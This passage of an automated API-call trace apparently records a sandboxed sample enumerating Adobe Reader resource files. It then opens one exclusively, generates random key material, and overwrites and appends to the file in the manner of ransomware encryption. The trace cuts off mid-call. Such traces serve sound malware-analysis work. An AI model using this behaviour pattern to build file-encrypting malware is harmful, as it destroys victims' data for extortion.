RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x43156e20 [0227.324] wcscpy (in: _Dest=0x43156e20, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0227.325] wcscat (in: _Dest=0x43156e20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0227.325] wcscat (in: _Dest=0x43156e20, _Source="DisplayLanguageNames.bg.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg.txt" [0227.325] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43156e20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16e0 [0227.325] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.bg_BG.txt", cAlternateFileName="DIC784~1.TXT")) returned 1 [0227.325] wcscmp (_String1="DisplayLanguageNames.bg_BG.txt", _String2=".") returned 1 [0227.325] wcscmp (_String1="DisplayLanguageNames.bg_BG.txt", _String2="..") returned 1 [0227.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x43157b40 [0227.326] wcscpy (in: _Dest=0x43157b40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0227.326] wcscat (in: _Dest=0x43157b40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0227.326] wcscat (in: _Dest=0x43157b40, _Source="DisplayLanguageNames.bg_BG.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg_BG.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg_BG.txt" [0227.326] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43157b40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1824 [0227.326] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6cdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ca.txt", cAlternateFileName="DIFBE9~1.TXT")) returned 1 [0227.326] wcscmp (_String1="DisplayLanguageNames.ca.txt", _String2=".") returned 1 [0227.326] wcscmp (_String1="DisplayLanguageNames.ca.txt", _String2="..") returned 1 [0227.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x431578a0 [0227.327] wcscpy (in: _Dest=0x431578a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0227.327] wcscat (in: _Dest=0x431578a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0227.327] wcscat (in: _Dest=0x431578a0, _Source="DisplayLanguageNames.ca.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca.txt" [0227.327] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431578a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2590 [0227.327] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6cdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ca_ES.txt", cAlternateFileName="DI0E62~1.TXT")) returned 1 [0227.327] wcscmp (_String1="DisplayLanguageNames.ca_ES.txt", _String2=".") returned 1 [0227.327] wcscmp (_String1="DisplayLanguageNames.ca_ES.txt", _String2="..") returned 1 [0227.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x43156f00 [0227.328] wcscpy (in: _Dest=0x43156f00, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0227.328] wcscat (in: _Dest=0x43156f00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0227.328] wcscat (in: _Dest=0x43156f00, _Source="DisplayLanguageNames.ca_ES.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES.txt" [0227.328] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43156f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf70 [0227.329] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6cdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ca_ES_PREEURO.txt", cAlternateFileName="DIFFE0~1.TXT")) returned 1 [0227.329] wcscmp (_String1="DisplayLanguageNames.ca_ES_PREEURO.txt", _String2=".") returned 1 [0227.329] wcscmp (_String1="DisplayLanguageNames.ca_ES_PREEURO.txt", _String2="..") returned 1 [0227.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe8) returned 0x1ceb5120 [0227.329] wcscpy (in: _Dest=0x1ceb5120, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0227.329] wcscat (in: _Dest=0x1ceb5120, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0227.329] wcscat (in: _Dest=0x1ceb5120, _Source="DisplayLanguageNames.ca_ES_PREEURO.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES_PREEURO.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES_PREEURO.txt" [0227.329] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb5120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf48 [0227.330] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f367960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x74c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.cs.txt", cAlternateFileName="DI5C2E~1.TXT")) returned 1 [0227.330] wcscmp (_String1="DisplayLanguageNames.cs.txt", _String2=".") returned 1 [0227.330] wcscmp (_String1="DisplayLanguageNames.cs.txt", _String2="..") returned 1 [0227.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x43114e20 [0227.330] wcscpy (in: _Dest=0x43114e20, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0227.330] wcscat (in: _Dest=0x43114e20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0227.330] wcscat (in: _Dest=0x43114e20, _Source="DisplayLanguageNames.cs.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs.txt" [0227.330] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43114e20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc24 [0227.331] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f367960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x74c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.cs_CZ.txt", cAlternateFileName="DICA81~1.TXT")) returned 1 [0229.666] wcscmp (_String1="DisplayLanguageNames.cs_CZ.txt", _String2=".") returned 1 [0229.666] wcscmp (_String1="DisplayLanguageNames.cs_CZ.txt", _String2="..") returned 1 [0229.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x43157440 [0229.667] wcscpy (in: _Dest=0x43157440, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0229.667] wcscat (in: _Dest=0x43157440, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0229.667] wcscat (in: _Dest=0x43157440, _Source="DisplayLanguageNames.cs_CZ.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs_CZ.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs_CZ.txt" [0229.667] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43157440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf00 [0229.728] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d72, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.da.txt", cAlternateFileName="DI3825~1.TXT")) returned 1 [0229.728] wcscmp (_String1="DisplayLanguageNames.da.txt", _String2=".") returned 1 [0229.728] wcscmp (_String1="DisplayLanguageNames.da.txt", _String2="..") returned 1 [0229.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x43157fa0 [0229.729] wcscpy (in: _Dest=0x43157fa0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0229.729] wcscat (in: _Dest=0x43157fa0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0229.729] wcscat (in: _Dest=0x43157fa0, _Source="DisplayLanguageNames.da.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da.txt" [0229.729] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da.txt")) returned 0x20 [0229.730] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da.txt", dwFileAttributes=0x20) returned 1 [0229.731] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xafc [0229.732] GetFileSizeEx (in: hFile=0xafc, lpFileSize=0x3d99fa70 | out: lpFileSize=0x3d99fa70*=28018) returned 1 [0229.732] SetFilePointerEx (in: hFile=0xafc, liDistanceToMove=0x6d6e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.732] ReadFile (in: hFile=0xafc, lpBuffer=0x3d99f9f0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d99fa38, lpOverlapped=0x0 | out: lpBuffer=0x3d99f9f0*, lpNumberOfBytesRead=0x3d99fa38*=0x4, lpOverlapped=0x0) returned 1 [0230.978] SetFilePointerEx (in: hFile=0xafc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202675f0 [0230.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267fb0 [0230.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267890 [0230.979] NtQuerySystemTime (in: CurrentTime=0x3d99f930 | out: CurrentTime=0x3d99f930*=132462178349746000) returned 0x0 [0230.979] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x1c2bb27b [0230.979] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x1c19fcda [0230.979] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x2610ebe2 [0230.979] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x46015736 [0230.979] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x27972b16 [0230.979] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x6acb1a78 [0230.979] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x5e6145da [0230.979] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x5d291662 [0230.979] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x731c6cd2 [0230.979] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x4403bded [0230.979] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x438e03ba [0230.979] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x52c4471e [0230.979] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x5e6d133 [0230.979] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x2f2711fa [0230.979] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x2070937f [0230.979] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x42049c9b [0230.979] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x56b2e914 [0230.980] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x4424033b [0230.980] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x2be93e4d [0230.980] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x732490ad [0230.980] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x30b9f771 [0230.980] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x3c85b0f0 [0230.980] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x3a472013 [0230.980] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x14a32c34 [0230.980] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x4418c2d4 [0230.980] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0xac0ecc9 [0230.980] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x12ec99cb [0230.980] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x6ba3402c [0230.980] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x663167c8 [0230.980] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0xdf2b56a [0230.980] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x1933f455 [0230.980] RtlRandomEx (in: Seed=0x3d99f920 | out: Seed=0x3d99f920) returned 0x751c3c8b [0230.981] SetFilePointerEx (in: hFile=0xafc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.981] ReadFile (in: hFile=0xafc, lpBuffer=0x424a69f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3d99f990, lpOverlapped=0x0 | out: lpBuffer=0x424a69f0*, lpNumberOfBytesRead=0x3d99f990*=0x3c00, lpOverlapped=0x0) returned 1 [0231.394] SetFilePointerEx (in: hFile=0xafc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058880 [0231.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba560 [0231.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0231.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f9a0) returned 1 [0231.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a08200 [0231.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0231.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860720 [0231.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860720) returned 1 [0231.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba560) returned 1 [0231.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058880) returned 1 [0231.399] WriteFile (in: hFile=0xafc, lpBuffer=0x42a08200*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3d99f990, lpOverlapped=0x0 | out: lpBuffer=0x42a08200*, lpNumberOfBytesWritten=0x3d99f990*=0x3c00, lpOverlapped=0x0) returned 1 [0241.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a08200) returned 1 [0241.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424a69f0) returned 1 [0241.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x420593d0 [0241.157] SetFilePointerEx (in: hFile=0xafc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0241.157] WriteFile (in: hFile=0xafc, lpBuffer=0x42c20a10*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3d99fa40, lpOverlapped=0x0 | out: lpBuffer=0x42c20a10*, lpNumberOfBytesWritten=0x3d99fa40*=0x128, lpOverlapped=0x0) returned 1 [0243.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420594c0 [0243.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0243.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe080 [0243.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe080) returned 1 [0243.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x431acce0 [0243.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe080 [0243.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe0b0 [0243.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe0b0) returned 1 [0243.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0243.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420594c0) returned 1 [0243.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6d) returned 0x1b869dc0 [0243.202] sprintf (in: _Dest=0x1b869dc0, _Format="%c%c" | out: _Dest="2c") returned 2 [0243.202] sprintf (in: _Dest=0x1b869dc2, _Format="%c%c" | out: _Dest="a0") returned 2 [0243.202] sprintf (in: _Dest=0x1b869dc4, _Format="%c%c" | out: _Dest="f3") returned 2 [0243.202] sprintf (in: _Dest=0x1b869dc6, _Format="%c%c" | out: _Dest="e6") returned 2 [0243.202] sprintf (in: _Dest=0x1b869dc8, _Format="%c%c" | out: _Dest="c6") returned 2 [0243.202] sprintf (in: _Dest=0x1b869dca, _Format="%c%c" | out: _Dest="22") returned 2 [0243.202] sprintf (in: _Dest=0x1b869dcc, _Format="%c%c" | out: _Dest="20") returned 2 [0243.202] sprintf (in: _Dest=0x1b869dce, _Format="%c%c" | out: _Dest="c6") returned 2 [0243.202] sprintf (in: _Dest=0x1b869dd0, _Format="%c%c" | out: _Dest="89") returned 2 [0243.202] sprintf (in: _Dest=0x1b869dd2, _Format="%c%c" | out: _Dest="f8") returned 2 [0243.202] sprintf (in: _Dest=0x1b869dd4, _Format="%c%c" | out: _Dest="89") returned 2 [0243.202] sprintf (in: _Dest=0x1b869dd6, _Format="%c%c" | out: _Dest="ff") returned 2 [0243.202] sprintf (in: _Dest=0x1b869dd8, _Format="%c%c" | out: _Dest="69") returned 2 [0243.202] sprintf (in: _Dest=0x1b869dda, _Format="%c%c" | out: _Dest="78") returned 2 [0243.203] sprintf (in: _Dest=0x1b869ddc, _Format="%c%c" | out: _Dest="5d") returned 2 [0243.203] sprintf (in: _Dest=0x1b869dde, _Format="%c%c" | out: _Dest="19") returned 2 [0243.203] sprintf (in: _Dest=0x1b869de0, _Format="%c%c" | out: _Dest="fe") returned 2 [0243.203] sprintf (in: _Dest=0x1b869de2, _Format="%c%c" | out: _Dest="46") returned 2 [0243.203] sprintf (in: _Dest=0x1b869de4, _Format="%c%c" | out: _Dest="91") returned 2 [0243.203] sprintf (in: _Dest=0x1b869de6, _Format="%c%c" | out: _Dest="87") returned 2 [0243.203] sprintf (in: _Dest=0x1b869de8, _Format="%c%c" | out: _Dest="2d") returned 2 [0243.203] sprintf (in: _Dest=0x1b869dea, _Format="%c%c" | out: _Dest="f6") returned 2 [0243.203] sprintf (in: _Dest=0x1b869dec, _Format="%c%c" | out: _Dest="31") returned 2 [0243.203] sprintf (in: _Dest=0x1b869dee, _Format="%c%c" | out: _Dest="5f") returned 2 [0243.203] sprintf (in: _Dest=0x1b869df0, _Format="%c%c" | out: _Dest="d1") returned 2 [0243.203] sprintf (in: _Dest=0x1b869df2, _Format="%c%c" | out: _Dest="a1") returned 2 [0243.203] sprintf (in: _Dest=0x1b869df4, _Format="%c%c" | out: _Dest="f5") returned 2 [0243.203] sprintf (in: _Dest=0x1b869df6, _Format="%c%c" | out: _Dest="bd") returned 2 [0243.203] sprintf (in: 